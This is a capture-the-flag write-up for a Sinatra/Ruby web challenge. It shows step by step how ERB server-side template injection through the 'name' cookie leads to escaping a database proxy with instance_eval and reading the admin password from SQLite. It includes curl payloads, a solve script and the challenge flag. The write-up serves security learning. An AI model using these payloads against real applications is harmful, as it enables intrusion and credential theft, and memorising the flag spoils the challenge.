Treasure Hunt 5 - Liar's Dice
by IanThe flavor text at the end of the binary you just reverse engineered? It mentioned liar's dice, which caught my eye. I had stumbled across a text file with optimal strategies for an online version of the game while conducting data recovery. I assumed it was meaningless, but 'water guy' actually left a message for us:
Ah! You have reached the end of the trail! Back when I was but a wee lad, I used to - roll the bones - as they say quite often indeed. The website I played on was horribly insecure though... which made it perfect! I partook in some dastardly activities and ruined the leaderboard. I also managed to SQL inject their login system, and decided to make the admin password my most prized posession, my treasure, a flag! If you want my treasure, you had better start digging!
Okay, so the dude is literally a cybercriminal. Fantastic. And his treasure is just what? A flag? I thought there'd be some cash involved at least! Whatever. Here's some corrupted source code and a link to the website. I'm done with this.
http://chal.bearcatctf.io:59047/Solution
Analysis
The challenge provided a single file, corrupted_app.rb, a Sinatra (Ruby) web application with significant binary corruption in several key sections. The readable portions revealed:
- Framework: Sinatra with Sequel ORM and SQLite (readonly mode)
- Dependencies:
sinatra,json,sequel, anderb(important!) - Database:
sqlite://app.db?readonly=true&journal_mode=memory - Endpoints:
GET /- servesindex.htmlPOST /name- returns a dev note messageGET /highscores- returns highscores from the databasePOST /upload-highscore- disabled endpoint with security filtering
The corrupted sections obscured the actual SQL queries, security checks, and most of the business logic. The require 'erb' import was partially corrupted but identifiable.
Approach
Step 1: Reconnaissance
The live server at http://chal.bearcatctf.io:59047/ was explored:
GET /highscoresreturned JSON with two players: "admin" (score 15) and "guest" (score 9223372036854775807 - max int, a sign of SQL injection).POST /nameaccepted a JSON body with anamefield and set a cookie.POST /upload-highscorereturned a "DEV NOTE" message reflecting the player name from the cookie.
Step 2: SQL Injection Attempts (Dead End)
Extensive SQL injection testing was performed on:
- The name cookie on /upload-highscore
- The highscore parameter
- Various HTTP headers
None triggered SQL errors or behavior changes. The endpoint always returned a static dev note message with the cookie name interpolated in.
Step 3: Server-Side Template Injection (SSTI) Discovery
The key breakthrough came from noticing the require 'erb' import. Testing ERB template injection via the name cookie:
curl -b 'name=<%= 7*7 %>' -X POST http://chal.bearcatctf.io:59047/upload-highscore
The response reflected 49 instead of the ERB expression -- confirming ERB template injection in the /upload-highscore endpoint.
Step 4: Sandbox Enumeration
The ERB code executed inside an ERBSandbox class. Enumerating the sandbox:
<%= self.class %> # => ERBSandbox
<%= methods.sort %> # => [:db, :playerName, :get_binding, ...]
<%= db.class %> # => DatabaseProxy
<%= db.methods - Object.methods %> # => [:highscores, :help]
The DatabaseProxy only exposed highscores (returning the same data as /highscores) and help.
Step 5: Escaping the Proxy
The proxy was bypassed using instance_eval to access the underlying Sequel database object:
<%= db.instance_eval { @db }.class %> # => Sequel::SQLite::Database
Step 6: Database Enumeration and Flag Extraction
With access to the real database object:
# List tables
<%= db.instance_eval { @db }.tables %> # => [:players]
# Get schema
<%= db.instance_eval { @db }.schema(:players) %>
# => [[:id, ...], [:username, ...], [:password, ...], [:highscore, ...]]
# Extract admin password (the flag)
<%= db.instance_eval { @db }[:players].where(username: :admin).get(:password) %>
This returned the flag directly from the password column of the players table for the admin user.
Key Insights
- The
require 'erb'import hinted at template injection, not SQL injection. - The
namecookie was interpolated into an ERB template on the/upload-highscoreendpoint. - An
ERBSandboxwith aDatabaseProxyrestricted direct database access. instance_eval { @db }bypassed the proxy to access the underlying Sequel database.- The flag was stored as the admin's password in the
playerstable, consistent with the challenge narrative.
Solve Script
# 1. Confirm SSTI
curl -b 'name=<%= 7*7 %>' -X POST http://chal.bearcatctf.io:59047/upload-highscore
# 2. Enumerate sandbox
curl -b 'name=<%= self.class %>' -X POST http://chal.bearcatctf.io:59047/upload-highscore
curl -b 'name=<%= methods.sort %>' -X POST http://chal.bearcatctf.io:59047/upload-highscore
# 3. Escape proxy and list tables
curl -b 'name=<%= db.instance_eval { @db }.tables %>' -X POST http://chal.bearcatctf.io:59047/upload-highscore
# 4. Get admin password (flag)
curl -b 'name=<%= db.instance_eval { @db }[:players].where(username: :admin).get(:password) %>' -X POST http://chal.bearcatctf.io:59047/upload-highscore
Flag
BCCTF{$SAFECr4cK1N6_8r1nG5_M3_50_mUCh_J0Y!}